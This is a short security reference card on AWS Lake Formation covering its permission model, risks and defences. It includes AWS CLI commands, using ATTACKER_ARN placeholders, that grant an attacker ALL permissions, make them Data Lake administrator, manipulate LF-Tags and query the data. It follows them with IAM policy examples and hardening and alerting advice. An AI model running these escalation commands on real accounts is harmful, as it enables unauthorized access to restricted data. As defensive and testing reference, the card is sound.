AWS Lake Formation manages data lake permissions on S3 and Glue Catalog. Security risks include permission bypass, cross-account access abuse, and LF-Tag exploitation for unauthorized data access.
Centralizes permissions for Glue databases, tables, and S3 data locations. Replaces IAM-based access with fine-grained column/row-level security. Integrates with Athena, Redshift, EMR.
Attack note: Data Lake administrators have god-mode access. Permission grants can bypass IAM restrictions on underlying S3.
Attribute-based access control using key-value tags on databases, tables, columns. Grants based on tag expressions. Simplifies permission management at scale.
Attack note: LF-Tags can be modified if you have AlterLFTagValues permission. Tag manipulation = permission manipulation.
Lake Formation controls access to potentially petabytes of data lake content. Administrator roles bypass all restrictions. LF-Tag manipulation or grant abuse enables access to restricted datasets.
aws lakeformation list-permissionsaws lakeformation get-effective-permissions-for-path \
--resource-arn S3_ARNaws lakeformation list-lf-tagsaws lakeformation get-data-lake-settingsaws lakeformation list-resourcesaws lakeformation grant-permissions \
--principal DataLakePrincipalIdentifier=ATTACKER_ARN \
--permissions ALL \
--resource '{"Database":{"Name":"prod_db"}}'aws lakeformation create-lf-tag \
--tag-key "access" \
--tag-values "all" "restricted" "public"aws lakeformation add-lf-tags-to-resource \
--resource '{"Table":{"DatabaseName":"db","Name":"sensitive"}}' \
--lf-tags '[{"TagKey":"access","TagValues":["all"]}]'aws lakeformation grant-permissions \
--principal DataLakePrincipalIdentifier=ATTACKER_ARN \
--permissions SELECT \
--resource '{"LFTagPolicy":{"Expression":[{"TagKey":"access","TagValues":["all"]}]}}'aws lakeformation put-data-lake-settings \
--data-lake-settings '{"DataLakeAdmins":[{"DataLakePrincipalIdentifier":"ATTACKER_ARN"}]}'aws athena start-query-execution \
--query-string "SELECT * FROM db.table" \
--result-configuration OutputLocation=s3://bucket/{
"Effect": "Allow",
"Action": "lakeformation:*",
"Resource": "*"
}Full Lake Formation access - can grant self admin, access all data
{
"Effect": "Allow",
"Action": [
"lakeformation:GetDataAccess",
"lakeformation:GetEffectivePermissionsForPath"
],
"Resource": "*"
}Only get data access based on existing grants
{
"Effect": "Allow",
"Action": [
"lakeformation:GrantPermissions",
"lakeformation:BatchGrantPermissions"
],
"Resource": "*"
}Can grant permissions to any principal - escalation risk
{
"Effect": "Deny",
"Action": [
"lakeformation:PutDataLakeSettings",
"lakeformation:RegisterResource"
],
"Resource": "*"
}Prevent admin escalation and new resource registration
Enable Lake Formation permissions model fully. Remove legacy IAM-based access.
PutDataLakeSettings with CreateDatabaseDefaultPermissions=[]Limit Data Lake Administrators. Use separate roles for grant management.
Control who can create/modify LF-Tags. Review tag expressions regularly.
Use SCP to deny GrantPermissions except from governance roles.
Alert on GrantPermissions, PutDataLakeSettings, CreateLFTag events.
Regularly review ListPermissions output for unexpected grants.
AWS Lake Formation Security Card • Toc Consulting
Always obtain proper authorization before testing